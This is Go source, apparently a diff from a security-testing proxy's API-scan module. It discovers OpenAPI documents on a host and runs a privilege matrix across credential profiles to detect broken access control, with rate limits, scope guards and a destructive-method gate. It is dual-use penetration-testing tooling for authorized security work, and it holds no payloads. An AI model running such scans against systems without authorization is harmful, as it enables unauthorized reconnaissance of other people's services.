// Config is everything a run needs, snapshotted at start so an edit to the spec
// mid-run cannot change what is being sent.
type Config struct {
Kind Kind
SpecID string
Server apispec.Server
Ops []apispec.Operation
Values map[string]apispec.Values // keyed by operation ID
Profiles []Profile
Concurrency int
RatePerSec float64
TimeoutMs int
BudgetMs int
UserAgent string
// AllowDestructive and Methods are the two halves of the safety gate. They
// are configuration rather than a parse-time skip, because the operator must
// be able to see the whole API surface and then tick the one they meant.
AllowDestructive bool
Methods []string
// Discovery only.
Scheme string
Host string
BasePath string
CandidateSet apispec.CandidateSet
StopOnFirst bool
}
// Triage is the three-band rubric, computed server-side and shipped on the
// result so the frontend never recomputes it — one fewer mirror to keep in sync.
type Triage string
const (
TriageGood Triage = "good" // 2xx: the request was accepted
TriageBad Triage = "bad" // 401/403/404: refused or absent
TriageWarn Triage = "warn" // everything else, including transport failure
)
// TriageOf applies the rubric. sj's colouring is the same shape; the names are
// chosen so the UI can pick glyph and colour without a second table.
func TriageOf(status int, err string) Triage {
if err != "" {
return TriageWarn
}
switch {
case status >= 200 && status < 300:
return TriageGood
case status == 401 || status == 403 || status == 404:
return TriageBad
default:
return TriageWarn
}
}
// Result is one work item's outcome. A skipped item still occupies its slot, so
// the client can correlate every row back to what it asked for.
type Result struct {
Index int `json:"index"`
OpID string `json:"opId,omitempty"`
ProfileID string `json:"profileId,omitempty"`
Method string `json:"method,omitempty"`
Path string `json:"path,omitempty"`
URL string `json:"url,omitempty"`
// ReqPath is the origin-form actually rendered — path and query, every
// placeholder resolved. Path stays the document's template, because that is
// what a row correlates back to and what a skipped row has instead; ReqPath is
// what the operator reads to see the values that went out, without opening the
// row. Empty when the item never rendered.
ReqPath string `json:"reqPath,omitempty"`
// Seq and RequestID address the History row this send produced. Seq is 0 and
// RequestID empty when the send was not captured, which is a normal outcome
// — a noise-filtered host, or one outside the proxy's capture scope — and
// SeqNote says which.
Seq int `json:"seq"`
RequestID string `json:"requestId,omitempty"`
SeqNote string `json:"seqNote,omitempty"`
Status int `json:"status"`
Len int `json:"len"`
DurationMs int64 `json:"ms"`
BodyHash string `json:"bhash,omitempty"`
StructHash string `json:"shash,omitempty"`
Words int `json:"words,omitempty"`
Lines int `json:"lines,omitempty"`
Note string `json:"note,omitempty"`
Triage Triage `json:"triage"`
Error string `json:"error,omitempty"`
Skipped string `json:"skipped,omitempty"` // destructive | method | budget | render
// Discovery only.
ContentType string `json:"contentType,omitempty"`
BodyKind apispec.BodyKind `json:"bodyKind,omitempty"`
SpecTitle string `json:"specTitle,omitempty"`
SpecFormat string `json:"specFormat,omitempty"`
SpecOps int `json:"specOps,omitempty"`
ReqRaw []byte `json:"-"`
RespRaw []byte `json:"-"`
}
// Run is one execution. Counters are read while it is in flight, so every
// accessor takes the lock.
type Run struct {
ID string `json:"id"`
Kind Kind `json:"kind"`
SpecID string `json:"specId,omitempty"`
CreatedAt time.Time `json:"createdAt"`
Total int `json:"total"`
Config Config `json:"-"`
mu sync.RWMutex
status Status
completed int
errors int
skipped int
hits int
challenges int
results []Result
cancel context.CancelFunc
}
// NewRun creates a run in the running state with its result slots pre-sized.
//
// Slots are indexed, never appended: idx = opIndex*len(profiles) + profileIndex.
// That makes the matrix pivot index arithmetic rather than a search, and it
// means a send that failed still occupies the slot the client asked about.
func NewRun(id string, cfg Config, total int) *Run {
return &Run{
ID: id,
Kind: cfg.Kind,
SpecID: cfg.SpecID,
CreatedAt: time.Now(),
Total: total,
Config: cfg,
status: StatusRunning,
results: newResults(cfg.Kind, total),
}
}
// newResults sizes the result slice for how the run fills it. A scan and a
// matrix write by index, so theirs is pre-sized; discovery appends, so a
// pre-sized slice would leave `total` blank rows in front of every real one.
func newResults(kind Kind, total int) []Result {
if kind == KindDiscovery {
return make([]Result, 0, total)
}
out := make([]Result, total)
// Each slot knows its position before anything fills it: a run is read while
// still going, and an unfilled slot carrying index 0 would claim row 0.
for i := range out {
out[i].Index = i
}
return out
}
// Status reports the run's state.
func (r *Run) Status() Status {
r.mu.RLock()
defer r.mu.RUnlock()
return r.status
}
// Counts reports progress.
func (r *Run) Counts() (completed, errors, skipped, hits int) {
r.mu.RLock()
defer r.mu.RUnlock()
return r.completed, r.errors, r.skipped, r.hits
}
// Results returns a copy of the result slice with raw bodies stripped, which is
// what every list endpoint wants; raws are fetched one at a time by index.
func (r *Run) Results() []Result {
r.mu.RLock()
defer r.mu.RUnlock()
out := make([]Result, len(r.results))
for i, res := range r.results {
res.ReqRaw, res.RespRaw = nil, nil
out[i] = res
}
return out
}
// ResultAt returns one result including its raw bodies.
func (r *Run) ResultAt(i int) (Result, bool) {
r.mu.RLock()
defer r.mu.RUnlock()
if i < 0 || i >= len(r.results) {
return Result{}, false
}
return r.results[i], true
}
// setResult stores one outcome and advances the counters.
//
// Takes a pointer because the caller broadcasts the same value it stored, and
// Index is the only thing addressing a row: stamping it on a copy would leave
// every emitted result at index 0, collapsing a whole run onto one row in the
// client. The signature is what carries that obligation to the next caller.
func (r *Run) setResult(i int, res *Result) {
r.mu.Lock()
defer r.mu.Unlock()
if i < 0 || i >= len(r.results) {
return
}
res.Index = i
r.results[i] = *res
r.completed++
switch {
case res.Error != "":
r.errors++
case res.Skipped != "":
r.skipped++
}
if res.BodyKind == apispec.KindSpec {
r.hits++
}
}
// appendResult stores an outcome whose index is not known in advance, which is
// discovery's shape: a followed reference is found mid-run, not enumerated.
// Pointer for the reason setResult is.
func (r *Run) appendResult(res *Result) {
r.mu.Lock()
defer r.mu.Unlock()
res.Index = len(r.results)
r.results = append(r.results, *res)
r.completed++
if res.Error != "" {
r.errors++
}
if res.BodyKind == apispec.KindSpec {
r.hits++
}
if r.completed > r.Total {
r.Total = r.completed
}
}
// noteChallenge counts a WAF interstitial and reports whether the run should
// give up. The counter lives on the Run rather than in a package variable, so
// two concurrent runs cannot exhaust each other's budget — sj keeps the
// equivalent as package state.
func (r *Run) noteChallenge() bool {
r.mu.Lock()
defer r.mu.Unlock()
r.challenges++
return r.challenges >= ChallengeLimit
}
func (r *Run) finish(s Status) {
r.mu.Lock()
defer r.mu.Unlock()
if r.status == StatusRunning {
r.status = s
}
}
// Stop cancels a running run.
func (r *Run) Stop() bool {
r.mu.Lock()
cancel := r.cancel
running := r.status == StatusRunning
if running {
r.status = StatusStopped
}
r.mu.Unlock()
if cancel != nil {
cancel()
}
return running
}
func (r *Run) setCancel(cancel context.CancelFunc) {
r.mu.Lock()
defer r.mu.Unlock()
r.cancel = cancel
}
// Deps is what a run needs from the host process.
type Deps struct {
// Send carries the proxy address, CA and capture store. Claims is filled in
// per run by Execute; a caller must not share one across runs.
Send httptools.SendDeps
// Broadcast is the hub's channel. It is chan<- any, matching
// api.Hub.Broadcast and fuzzer.Run, and carries event.WSEvent values.
Broadcast chan<- any
}
// clampInt keeps a client-supplied knob inside its bounds.
func clampInt(v, def, lo, hi int) int {
if v == 0 {
return def
}
if v < lo {
return lo
}
if v > hi {
return hi
}
return v
}
+315
View File
@@ -0,0 +1,315 @@
package apiscan
import (
"context"
"fmt"
"net/url"
"strings"
"sync"
"time"
"github.com/BishopFox/joro/internal/apispec"
"github.com/BishopFox/joro/internal/httptools"
)
// PlanDiscovery builds the candidate list and validates the target.
func PlanDiscovery(cfg Config) ([]string, error) {
// The same rule the render path applies. Discovery builds its probes by
// concatenation, so without this it is the one send path with no guard on
// where it points.
if err := apispec.ValidateHost(cfg.Host); err != nil {
return nil, err
}
scheme := strings.ToLower(cfg.Scheme)
if scheme != "http" && scheme != "https" {
return nil, fmt.Errorf("scheme must be http or https")
}
paths := apispec.CandidatePaths(cfg.BasePath, cfg.CandidateSet)
if len(paths) == 0 {
return nil, fmt.Errorf("no candidates to try")
}
return paths, nil
}
// Discover sweeps a host for API description documents.
//
// Two differences from sj's brute, both deliberate. It reports every document it
// finds rather than stopping at the first: a tab has a list, and a target
// routinely serves /v2/api-docs alongside /v3/api-docs, or a public document
// beside an internal one, and the second is often the interesting one. And a
// reference discovered in a page is followed only when it stays on the run's own
// host — sj resolves any absolute reference, which lets a page the target
// controls redirect the sweep onto a third party.
func Discover(ctx context.Context, run *Run, paths []string, d Deps, onSpec func(*apispec.Spec, []byte)) {
cfg := run.Config
conc := clampInt(cfg.Concurrency, DefaultDiscoveryConcurrency, 1, MaxConcurrency)
perItem := time.Duration(clampInt(cfg.TimeoutMs, DefaultTimeoutMs, 1000, MaxTimeoutMs)) * time.Millisecond
budget := time.Duration(clampInt(cfg.BudgetMs, DefaultBudgetMs, 1000, MaxBudgetMs)) * time.Millisecond
runCtx, cancel := context.WithTimeout(ctx, budget)
defer cancel()
run.setCancel(cancel)
var limiter <-chan time.Time
if cfg.RatePerSec > 0 {
rate := min(cfg.RatePerSec, MaxRatePerSec)
tick := time.NewTicker(time.Duration(float64(time.Second) / rate))
defer tick.Stop()
limiter = tick.C
}
sendDeps := d.Send
sendDeps.Claims = httptools.NewClaimSet()
origin := cfg.Scheme + "://" + cfg.Host
start := time.Now()
broadcast(d, "spec.run.started", map[string]any{
"runId": run.ID, "kind": string(run.Kind), "total": run.Total, "host": cfg.Host,
})
// seen guards both the enumerated candidates and anything followed out of a
// page, so a reference back to a path already tried costs nothing.
var seenMu sync.Mutex
seen := map[string]bool{}
follows := 0
claimFollow := func(u string) bool {
seenMu.Lock()
defer seenMu.Unlock()
if seen[u] || follows >= MaxDiscoveryFollows {
return false
}
seen[u] = true
follows++
return true
}
var stopped bool
var stopOnce sync.Once
halt := func(reason string) {
stopOnce.Do(func() {
stopped = true
broadcast(d, "spec.run.warning", map[string]any{
"runId": run.ID, "kind": "challenge", "detail": reason,
})
cancel()
})
}
// Declared before assignment because it follows references by calling itself.
var probe func(target string, depth int)
probe = func(target string, depth int) {
if runCtx.Err() != nil {
return
}
raw := "GET " + pathOf(target) + " HTTP/1.1\r\nHost: " + cfg.Host + "\r\n" +
"User-Agent: " + apispec.UserAgentOr(cfg.UserAgent) + "\r\n" +
"Accept: application/json, text/yaml, text/html, */*\r\n\r\n"
itemCtx, itemCancel := context.WithTimeout(runCtx, perItem)
sent, err := httptools.SendViaProxy(itemCtx, []byte(raw), cfg.Scheme, cfg.Host, sendDeps)
itemCancel()
res := Result{URL: target, Method: "GET", Path: pathOf(target)}
if err != nil {
res.Error = shortErr(err)
res.Triage = TriageWarn
res.BodyKind = apispec.KindNone
run.appendResult(&res)
emitResult(d, run, res)
return
}
applyFingerprint(&res, sent)
body := bodyOf(sent.RespRaw)
switch {
case apispec.LooksLikeChallenge(body):
res.BodyKind = apispec.KindChallenge
if run.noteChallenge() {
halt("the target is answering with a bot-check interstitial; further requests would learn nothing")
}
case apispec.ShouldSkipContentType(res.ContentType):
res.BodyKind = apispec.KindSkip
default:
res.BodyKind = classify(body, res.ContentType, target, run, d, onSpec, &res)
}
run.appendResult(&res)
emitResult(d, run, res)
// Follow references out of a UI page or an initializer.
if depth < MaxFollowDepth && (res.BodyKind == apispec.KindReference || res.BodyKind == apispec.KindNone) {
for _, ref := range apispec.ExtractSpecRefs(body, target) {
// Same-host only, and that is the whole guard. A reference
// off-origin is a scope escape, not a discovery — including the
// public sample document Swagger UI ships as its stock default,
// which is the case a separate demo-host filter used to catch.
// Such a filter is worse than redundant here: it can only ever be
// reached by a same-origin reference, so the one time it fires is
// when the operator is deliberately sweeping a sample host, and it
// refuses to follow that host's own initializer.
if !apispec.SameHost(ref, origin) {
continue
}
if !claimFollow(ref) {
continue
}
probe(ref, depth+1)
}
}
}
work := make(chan string, conc)
var wg sync.WaitGroup
for range conc {
wg.Add(1)
go func() {
defer wg.Done()
for target := range work {
if limiter != nil {
select {
case <-runCtx.Done():
return
case <-limiter:
}
}
if runCtx.Err() != nil {
return
}
probe(target, 0)
if cfg.StopOnFirst {
if _, _, _, hits := run.Counts(); hits > 0 {
cancel()
return
}
}
}
}()
}
for _, p := range paths {
full := origin + p
seenMu.Lock()
dup := seen[full]
seen[full] = true
seenMu.Unlock()
if dup {
continue
}
select {
case work <- full:
case <-runCtx.Done():
}
if runCtx.Err() != nil {
break
}
}
close(work)
wg.Wait()
if stopped {
run.finish(StatusStopped)
}
finishRun(d, run, start)
}
// classify decides what one discovery response turned out to be, loading any
// document it finds.
func classify(
body []byte, contentType, target string, run *Run, d Deps,
onSpec func(*apispec.Spec, []byte), res *Result,
) apispec.BodyKind {
if res.Status < 200 || res.Status >= 400 || len(body) == 0 {
return apispec.KindNone
}
isHTML := strings.Contains(strings.ToLower(contentType), "text/html") || apispec.LooksLikeHTMLDocument(body)
if isHTML {
return apispec.KindReference
}
candidate := body
isJS := strings.Contains(strings.ToLower(contentType), "javascript") ||
strings.HasSuffix(strings.ToLower(pathOf(target)), ".js")
if isJS {
if !apispec.LooksLikeSwaggerInit(target) {
return apispec.KindSkip
}
unwrapped, ok := apispec.UnwrapJSSpec(body)
if !ok {
return apispec.KindReference
}
candidate = unwrapped
}
// Default placeholders, deliberately: a sweep parses a candidate only to
// report its title and operation count, neither of which depends on a
// generated value. The operator sets placeholders on the document once it is
// the one they are working, which re-parses it.
spec, err := apispec.ParseOpenAPI(candidate, apispec.Options{SourceURL: target})
if err != nil {
// Document-shaped but unparseable is still worth surfacing: it is
// frequently a truncated or auth-gated document, and the operator can
// judge. sj discards these silently.
if looksDocumentShaped(candidate) {
return apispec.KindWeak
}
return apispec.KindNone
}
if len(spec.Operations) == 0 {
return apispec.KindWeak
}
res.SpecTitle = spec.Title
res.SpecFormat = string(spec.Format)
res.SpecOps = len(spec.Operations)
if onSpec != nil {
onSpec(spec, candidate)
}
return apispec.KindSpec
}
// looksDocumentShaped reports whether bytes mention a version token at all, so a
// near-miss can be told from an unrelated 200.
func looksDocumentShaped(body []byte) bool {
window := body
if len(window) > 4096 {
window = window[:4096]
}
s := strings.ToLower(string(window))
return strings.Contains(s, "\"swagger\"") || strings.Contains(s, "\"openapi\"") ||
strings.Contains(s, "swagger:") || strings.Contains(s, "openapi:")
}
// bodyOf splits the body out of a raw response.
func bodyOf(raw []byte) []byte {
if i := strings.Index(string(raw), "\r\n\r\n"); i >= 0 {
return raw[i+4:]
}
if i := strings.Index(string(raw), "\n\n"); i >= 0 {
return raw[i+2:]
}
return nil
}
func pathOf(rawURL string) string {
u, err := url.Parse(rawURL)
if err != nil || u.Path == "" {
return "/"
}
// EscapedPath, not Path: url.Parse percent-decodes into Path, and a followed
// reference carrying %0d%0a would come back as a real CRLF — straight into
// the request line below.
p := u.EscapedPath()
if u.RawQuery != "" {
p += "?" + u.RawQuery
}
for i := 0; i < len(p); i++ {
if p[i] <= 0x20 || p[i] >= 0x7f {
return "/"
}
}
return p
}
+216
View File
@@ -0,0 +1,216 @@
package apiscan
import (
"sort"
"strings"
)
// Verdict is what one operation's row across every profile amounts to.
type Verdict string
const (
// VerdictOpen means the least-privileged profile — normally anonymous —
// was served. This is the single most valuable thing the matrix finds, and
// it needs no comparison at all.
VerdictOpen Verdict = "open"
// VerdictBroken means a lower-privileged profile got the same response a
// higher-privileged one did, while some profile below it was refused. That
// is broken access control: the endpoint distinguishes *some* callers, so it
// is not simply public, but it fails to distinguish the one that matters.
VerdictBroken Verdict = "broken"
// VerdictDenied means every profile was refused.
VerdictDenied Verdict = "denied"
// VerdictExpected means authorization rises with privilege, as intended.
VerdictExpected Verdict = "expected"
// VerdictError means a cell could not be evaluated.
VerdictError Verdict = "error"
)
// Cell is one operation under one profile.
type Cell struct {
ProfileID string `json:"profileId"`
Rank int `json:"rank"`
Status int `json:"status"`
Len int `json:"len"`
BodyHash string `json:"bhash,omitempty"`
StructHash string `json:"shash,omitempty"`
DurationMs int64 `json:"ms"`
Seq int `json:"seq"`
RequestID string `json:"requestId,omitempty"`
Triage Triage `json:"triage"`
Index int `json:"index"`
Error string `json:"error,omitempty"`
Skipped string `json:"skipped,omitempty"`
}
// Row is one operation across every profile, in ascending privilege order.
type Row struct {
OpID string `json:"opId"`
Method string `json:"method"`
Path string `json:"path"`
Cells []Cell `json:"cells"`
Verdict Verdict `json:"verdict"`
Detail string `json:"detail,omitempty"`
}
// MatrixView is the pivoted result.
type MatrixView struct {
RunID string `json:"runId"`
Profiles []Profile `json:"profiles"`
Rows []Row `json:"rows"`
Summary map[string]int `json:"summary"`
Interesting []string `json:"interesting"`
}
// Matrix pivots a run's results into the operations-by-profiles grid and
// computes each row's verdict.
//
// The verdict is computed here rather than in the client for the reason
// httptools.renderBatch states about its outliers line: the answer is
// precomputed and the table is corroboration. Deciding it in TypeScript would
// put privilege comparison in two places and create a keep-in-sync pair nobody
// maintains.
func Matrix(run *Run) MatrixView {
cfg := run.Config
results := run.Results()
// Profiles are compared in privilege order, which is what makes "a lower
// rank reached what only a higher rank should" a statement about privilege
// rather than about two arbitrary credential sets.
order := make([]int, len(cfg.Profiles))
for i := range order {
order[i] = i
}
sort.SliceStable(order, func(a, b int) bool {
return cfg.Profiles[order[a]].Rank < cfg.Profiles[order[b]].Rank
})
ordered := make([]Profile, len(order))
for i, idx := range order {
ordered[i] = cfg.Profiles[idx]
}
// Materialized rather than left nil: a nil slice marshals as null, and the
// client's type says array. See apispec.Spec.normalize for the rule.
view := MatrixView{
RunID: run.ID, Profiles: ordered,
Rows: []Row{}, Interesting: []string{}, Summary: map[string]int{},
}
if len(cfg.Profiles) == 0 {
return view
}
for opIdx := range cfg.Ops {
op := cfg.Ops[opIdx]
row := Row{OpID: op.ID, Method: op.Method, Path: op.Path, Cells: []Cell{}}
for _, profIdx := range order {
idx := opIdx*len(cfg.Profiles) + profIdx
if idx >= len(results) {
continue
}
r := results[idx]
row.Cells = append(row.Cells, Cell{
ProfileID: cfg.Profiles[profIdx].ID, Rank: cfg.Profiles[profIdx].Rank,
Status: r.Status, Len: r.Len, BodyHash: r.BodyHash, StructHash: r.StructHash,
DurationMs: r.DurationMs, Seq: r.Seq, RequestID: r.RequestID,
Triage: r.Triage, Index: r.Index, Error: r.Error, Skipped: r.Skipped,
})
}
row.Verdict, row.Detail = verdictFor(row.Cells)
view.Summary[string(row.Verdict)]++
if row.Verdict == VerdictOpen || row.Verdict == VerdictBroken {
view.Interesting = append(view.Interesting, op.ID)
}
view.Rows = append(view.Rows, row)
}
return view
}
// verdictFor classifies one row. Cells arrive in ascending privilege order.
func verdictFor(cells []Cell) (Verdict, string) {
var usable []Cell
firstErr := ""
for _, c := range cells {
if c.Error != "" {
// Held, not returned: a failure in a privileged column must not bury
// "anonymous was served", which needs no comparison. Still an error
// for every rule that does need the whole row.
if firstErr == "" {
firstErr = c.Error
}
continue
}
if c.Skipped != "" {
continue
}
// A slot that has not been filled yet is the zero Result: no error, no
// skip reason, and an empty Triage. Treating it as usable would walk it
// past every rule below and land on VerdictExpected — reporting an
// operation that was never sent as correctly authorized. For a grid whose
// whole purpose is finding access-control failures, failing open is the
// wrong direction, and GET /runs/{id}/matrix can be called mid-run.
if c.Triage == "" {
return VerdictError, "this operation has not been sent yet"
}
usable = append(usable, c)
}
if len(usable) == 0 {
if firstErr != "" {
return VerdictError, "a request could not be completed: " + firstErr
}
return VerdictError, "no request was sent for this operation"
}
// The least-privileged profile being served needs no comparison. cells[0],
// not usable[0]: if the anonymous column is the one that errored, usable[0]
// holds credentials and calling its 200 "open" invents a finding.
if len(cells) > 0 && cells[0].Error == "" && cells[0].Skipped == "" && cells[0].Triage == TriageGood {
return VerdictOpen, "the least-privileged profile was served"
}
if firstErr != "" {
return VerdictError, "a request could not be completed: " + firstErr
}
allDenied := true
for _, c := range usable {
if c.Triage != TriageBad {
allDenied = false
break
}
}
if allDenied {
return VerdictDenied, "every profile was refused"
}
// Broken access control: the most-privileged profile was served, a
// less-privileged one got a structurally identical response, and something
// below that was refused.
//
// StructHash rather than status and length is what makes this work. Two
// renderings of one page carrying different CSRF tokens have different
// lengths and different body hashes but the same struct hash, so a
// length comparison misses the finding and a body comparison flags every
// row.
top := usable[len(usable)-1]
if top.Triage == TriageGood && top.StructHash != "" {
for i := 0; i < len(usable)-1; i++ {
lower := usable[i]
if lower.Triage != TriageGood || lower.StructHash != top.StructHash {
continue
}
for j := 0; j < i; j++ {
if usable[j].Triage == TriageBad {
return VerdictBroken, strings.Join([]string{
"profile", lower.ProfileID, "received the same response as", top.ProfileID,
"while", usable[j].ProfileID, "was refused",
}, " ")
}
}
}
}
return VerdictExpected, ""
}
+272
View File
@@ -0,0 +1,272 @@
package apiscan
import (
"context"
"fmt"
"slices"
"strings"
"sync"
"time"
"github.com/BishopFox/joro/internal/apispec"
"github.com/BishopFox/joro/internal/event"
"github.com/BishopFox/joro/internal/httptools"
)
// Plan reports how many requests a config will send, and refuses one that is
// too large before any of it goes on the wire.
func Plan(cfg Config) (int, error) {
if len(cfg.Ops) == 0 {
return 0, fmt.Errorf("no operations selected")
}
if len(cfg.Profiles) == 0 {
return 0, fmt.Errorf("no auth profiles selected; use a single empty profile for an unauthenticated scan")
}
if len(cfg.Profiles) > MaxProfiles {
return 0, fmt.Errorf("%d profiles exceeds the limit of %d", len(cfg.Profiles), MaxProfiles)
}
total := len(cfg.Ops) * len(cfg.Profiles)
if total > MaxRequestsPerRun {
return 0, fmt.Errorf(
"%d operations x %d profiles is %d requests, over the %d-request limit; "+
"select fewer operations, or drive Joro's fuzzer from the Fuzz tab for a run that size",
len(cfg.Ops), len(cfg.Profiles), total, MaxRequestsPerRun)
}
return total, nil
}
// Execute runs a scan or a matrix.
//
// The shape mirrors httptools.Batch: one shared ticker as the rate limiter, a
// channel of indices, N workers, one claim set for the whole run, and results
// written into pre-sized slots by index rather than appended. Batch's own doc
// comment records that duplicating this shape is the repo's answer to the
// fuzzer's runner not being extractable, and the same reasoning applies here.
func Execute(ctx context.Context, run *Run, d Deps) {
cfg := run.Config
conc := clampInt(cfg.Concurrency, DefaultConcurrency, 1, MaxConcurrency)
perItem := time.Duration(clampInt(cfg.TimeoutMs, DefaultTimeoutMs, 1000, MaxTimeoutMs)) * time.Millisecond
budget := time.Duration(clampInt(cfg.BudgetMs, DefaultBudgetMs, 1000, MaxBudgetMs)) * time.Millisecond
runCtx, cancel := context.WithTimeout(ctx, budget)
defer cancel()
run.setCancel(cancel)
var limiter <-chan time.Time
if cfg.RatePerSec > 0 {
rate := min(cfg.RatePerSec, MaxRatePerSec)
tick := time.NewTicker(time.Duration(float64(time.Second) / rate))
defer tick.Stop()
limiter = tick.C
}
// One claim set for the run, so two workers finishing at once cannot
// correlate their sends to the same History row. In a matrix this is not an
// edge case: two profiles hitting one operation often produce byte-identical
// responses, which is exactly when correlate falls through to claim order.
sendDeps := d.Send
sendDeps.Claims = httptools.NewClaimSet()
methods := cfg.Methods
if len(methods) == 0 {
methods = apispec.DefaultMethods()
}
start := time.Now()
broadcast(d, "spec.run.started", map[string]any{
"runId": run.ID, "kind": string(run.Kind), "total": run.Total,
"profiles": profileSummaries(cfg.Profiles),
})
total := len(cfg.Ops) * len(cfg.Profiles)
work := make(chan int, conc)
var wg sync.WaitGroup
for range conc {
wg.Add(1)
go func() {
defer wg.Done()
for idx := range work {
opIdx := idx / len(cfg.Profiles)
profIdx := idx % len(cfg.Profiles)
op := &cfg.Ops[opIdx]
profile := cfg.Profiles[profIdx]
res := Result{
OpID: op.ID, ProfileID: profile.ID,
Method: op.Method, Path: op.Path,
}
// The safety gate. A skipped item still fills its slot, so the
// client can correlate every row back to what it asked for and can
// see why one was not sent.
if !slices.Contains(methods, strings.ToUpper(op.Method)) {
res.Skipped = "method"
res.Triage = TriageWarn
run.setResult(idx, &res)
emitResult(d, run, res)
continue
}
if op.Destructive && !cfg.AllowDestructive {
res.Skipped = "destructive"
res.Note = strings.Join(op.DestructiveReasons, ", ")
res.Triage = TriageWarn
run.setResult(idx, &res)
emitResult(d, run, res)
continue
}
if limiter != nil {
select {
case <-runCtx.Done():
res.Skipped = "budget"
res.Triage = TriageWarn
run.setResult(idx, &res)
emitResult(d, run, res)
continue
case <-limiter:
}
}
if runCtx.Err() != nil {
res.Skipped = "budget"
res.Triage = TriageWarn
run.setResult(idx, &res)
emitResult(d, run, res)
continue
}
raw, target, err := apispec.Render(op, cfg.Server, cfg.Values[op.ID], profile.Auth,
apispec.RenderOptions{UserAgent: cfg.UserAgent})
if err != nil {
res.Skipped = "render"
res.Error = err.Error()
res.Triage = TriageWarn
run.setResult(idx, &res)
emitResult(d, run, res)
continue
}
res.URL = target.Scheme + "://" + target.Host + target.Path
res.ReqPath = target.Path
res.ReqRaw = raw
itemCtx, itemCancel := context.WithTimeout(runCtx, perItem)
sent, err := httptools.SendViaProxy(itemCtx, raw, target.Scheme, target.Host, sendDeps)
itemCancel()
if err != nil {
res.Error = shortErr(err)
res.Triage = TriageWarn
run.setResult(idx, &res)
emitResult(d, run, res)
continue
}
applyFingerprint(&res, sent)
run.setResult(idx, &res)
emitResult(d, run, res)
}
}()
}
for i := range total {
select {
case work <- i:
case <-runCtx.Done():
// Fill the rest so the client is not left waiting on rows that will
// never arrive.
for j := i; j < total; j++ {
op := &cfg.Ops[j/len(cfg.Profiles)]
res := Result{
Skipped: "budget", Triage: TriageWarn,
OpID: op.ID, Method: op.Method, Path: op.Path,
ProfileID: cfg.Profiles[j%len(cfg.Profiles)].ID,
}
run.setResult(j, &res)
emitResult(d, run, res)
}
close(work)
wg.Wait()
finishRun(d, run, start)
return
}
}
close(work)
wg.Wait()
finishRun(d, run, start)
}
// applyFingerprint copies a send's outcome onto a result.
//
// FingerprintResponse rather than status and length: StructHash folds out CSRF
// tokens, timestamps, UUIDs and nonces, which is what stops an auth matrix
// flagging every row where two renderings of one page differ only in a nonce.
func applyFingerprint(res *Result, sent *httptools.ProxySendResult) {
fp := httptools.FingerprintResponse(sent.Seq, sent.RespRaw, sent.Duration.Milliseconds(), false)
res.Seq = sent.Seq
res.RequestID = sent.RequestID
res.SeqNote = sent.SeqNote
res.Status = fp.Status
res.Len = fp.Len
res.DurationMs = fp.DurationMs
res.BodyHash = fp.BodyHash
res.StructHash = fp.StructHash
res.Words = fp.Words
res.Lines = fp.Lines
res.Note = fp.Note
res.ContentType = fp.CT
res.RespRaw = sent.RespRaw
res.Triage = TriageOf(fp.Status, "")
}
func finishRun(d Deps, run *Run, start time.Time) {
status := StatusComplete
if run.Status() == StatusStopped {
status = StatusStopped
}
run.finish(status)
completed, errs, skipped, hits := run.Counts()
broadcast(d, "spec.run.complete", map[string]any{
"runId": run.ID, "kind": string(run.Kind), "status": string(run.Status()),
"completed": completed, "errors": errs, "skipped": skipped, "hits": hits,
"durationMs": time.Since(start).Milliseconds(),
})
}
// emitResult sends one row.
//
// Blocking, from the run's own goroutine, like fuzzer.result: Hub.Subscribe fans
// out to in-process consumers without blocking, so a slow subscriber cannot
// stall the run, and sending blocking here is what keeps the client's row count
// agreeing with the run's total.
func emitResult(d Deps, run *Run, res Result) {
res.ReqRaw, res.RespRaw = nil, nil
broadcast(d, "spec.run.result", map[string]any{
"runId": run.ID, "kind": string(run.Kind), "result": res,
})
}
func broadcast(d Deps, typ string, data map[string]any) {
if d.Broadcast == nil {
return
}
d.Broadcast <- event.WSEvent{Type: typ, Data: data}
}
func profileSummaries(profiles []Profile) []map[string]any {
out := make([]map[string]any, 0, len(profiles))
for _, p := range profiles {
out = append(out, map[string]any{"id": p.ID, "label": p.Label, "rank": p.Rank})
}
return out
}
func shortErr(err error) string {
msg := err.Error()
if i := strings.LastIndex(msg, ": "); i > 0 && len(msg)-i < 60 {
return msg[i+2:]
}
if len(msg) > 120 {
return msg[:120]
}
return msg
}
+195
View File
@@ -0,0 +1,195 @@
package apiscan
import (
"sync"
"time"
"github.com/BishopFox/joro/internal/apispec"
)
// Store holds runs in memory, bounded like fuzzer.Store. Runs are session state
// and never reach the project file.
type Store struct {
mu sync.RWMutex
runs []*Run
max int
}
// NewStore creates an empty run store.
func NewStore() *Store { return &Store{max: MaxRuns} }
// Add registers a run, evicting the oldest finished one when full. A running run
// is never evicted: its workers hold a pointer to it, and dropping it from the
// store would only make it unreachable, not stop it.
func (s *Store) Add(r *Run) {
s.mu.Lock()
defer s.mu.Unlock()
if len(s.runs) >= s.max {
for i, old := range s.runs {
if old.Status() != StatusRunning {
s.runs = append(s.runs[:i], s.runs[i+1:]...)
break
}
}
}
s.runs = append(s.runs, r)
}
// Get returns a run by ID, or nil.
func (s *Store) Get(id string) *Run {
s.mu.RLock()
defer s.mu.RUnlock()
for _, r := range s.runs {
if r.ID == id {
return r
}
}
return nil
}
// List returns every run, newest first.
func (s *Store) List() []*Run {
s.mu.RLock()
defer s.mu.RUnlock()
out := make([]*Run, len(s.runs))
for i, r := range s.runs {
out[len(s.runs)-1-i] = r
}
return out
}
// Delete removes a run, reporting whether it was found.
func (s *Store) Delete(id string) bool {
s.mu.Lock()
defer s.mu.Unlock()
for i, r := range s.runs {
if r.ID == id {
s.runs = append(s.runs[:i], s.runs[i+1:]...)
return true
}
}
return false
}
// StoredSpec is a parsed document plus where it came from.
type StoredSpec struct {
Spec *apispec.Spec `json:"spec"`
LoadedAt time.Time `json:"loadedAt"`
// Source is the original bytes, kept so the operator can read the document
// they are working against. It is served by its own endpoint rather than
// riding on every spec response, because it is routinely megabytes.
Source []byte `json:"-"`
}
// SpecStore holds parsed documents and the auth profiles defined against them.
//
// In memory only. A document fetched by URL went through the proxy and is
// therefore already in History, so persisting it would store it twice; and
// profiles hold credentials, which is why webhooks.json's secrets are kept out
// of the project file too.
type SpecStore struct {
mu sync.RWMutex
specs []*StoredSpec
profiles map[string][]Profile // keyed by spec ID
max int
}
// NewSpecStore creates an empty spec store.
func NewSpecStore() *SpecStore {
return &SpecStore{profiles: map[string][]Profile{}, max: MaxSpecs}
}
// Put stores a parsed document, replacing an existing one with the same ID. The
// ID is a hash of the source bytes, so re-loading an unchanged document keeps
// the profiles already defined against it.
//
